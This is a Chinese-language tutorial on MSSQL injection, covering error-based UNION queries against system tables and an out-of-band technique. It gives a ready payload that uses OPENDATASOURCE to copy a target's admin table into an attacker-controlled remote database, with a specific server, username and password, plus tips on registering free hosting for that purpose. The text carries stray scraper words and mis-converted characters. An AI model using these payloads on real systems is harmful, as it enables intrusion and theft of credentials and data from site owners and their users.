MSSQL注入:顯錯注入及反彈注入

前言:

MSSQL注入攻擊是最爲複雜的數據庫攻擊技術,因爲該數據庫功能十分強大,存儲過程以及函數語句十分豐富,這些靈活的語句造就了新穎獨特的攻擊思路。web

MSSQL的顯錯注入操做:

以聯合查詢爲例:

猜字段
聯合查詢:union all
猜出輸出點使用null填充
註釋只有 --+、-- a 沒有#
查詢系統庫:select name,null,...... from dbo.sysdatabases 能夠不用查庫名
查詢系統表:select name,null,...... from dbo.sysobjects where xtype='U' //U表示用戶建立表
查詢表中的字段:select name,null,...... from dbo.syscolumns where id= 表名對應的idsql

MSSQL反彈注入:

MSSQL反彈注入的使用場景

命名是SQL的注入點卻沒法進行注入操做,注入工具猜解的速度異常緩慢,錯誤提示信息關閉,沒法返回注入結果等,這些都是在注入攻擊中經常遇到的問題。數據庫

爲了解決以上這些疑難雜症,比較好的解決方法就是使用反彈注入技術,而反彈注入技術則須要依靠opendatasource函數支持。服務器

環境的搭建:

咱們前面說到,MSSQL注入 — 反彈注入實際就是把查詢出來的數據發送到咱們的MSSQL服務器上,那麼咱們須要本身的MSSQL數據庫和一個公網IP。ide

香港雲(http://www.webweb.com/) 隨便拿個郵箱而後註冊就行
香港雲若是失效:https://my.gearhost.com/CloudSite
數據庫鏈接器:http://mssqlus.webweb.com/函數

反彈注入語句解析:

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --工具

Insert into 很明顯是插入語句 而後出現了個opendatasource。

opendatasource 爲了方便理解,能夠看理解爲 ‘使用opendatasource函數將當前數據庫查詢的結果發送到另外一數據庫服務器中。

語法:
OPENDATASOURCE(provider_name,init_string)

provider_name 
    註冊爲用於訪問數據源的OLE DB 提供程序的PROGID的名稱                 MSSQL的名稱爲SQLOLEDB

init_string
    鏈接字符串 
    鏈接地址、端口、用戶名、密碼、數據庫名
    server=鏈接地址,端口;uid=用戶名;pwd=密碼;database=數據庫名稱

鏈接上服務器後選定數據表DB_14A5E44_zkaq.dbo.temp  把後面語句的查詢結果插入到那個表裏面
相關文章
相關標籤/搜索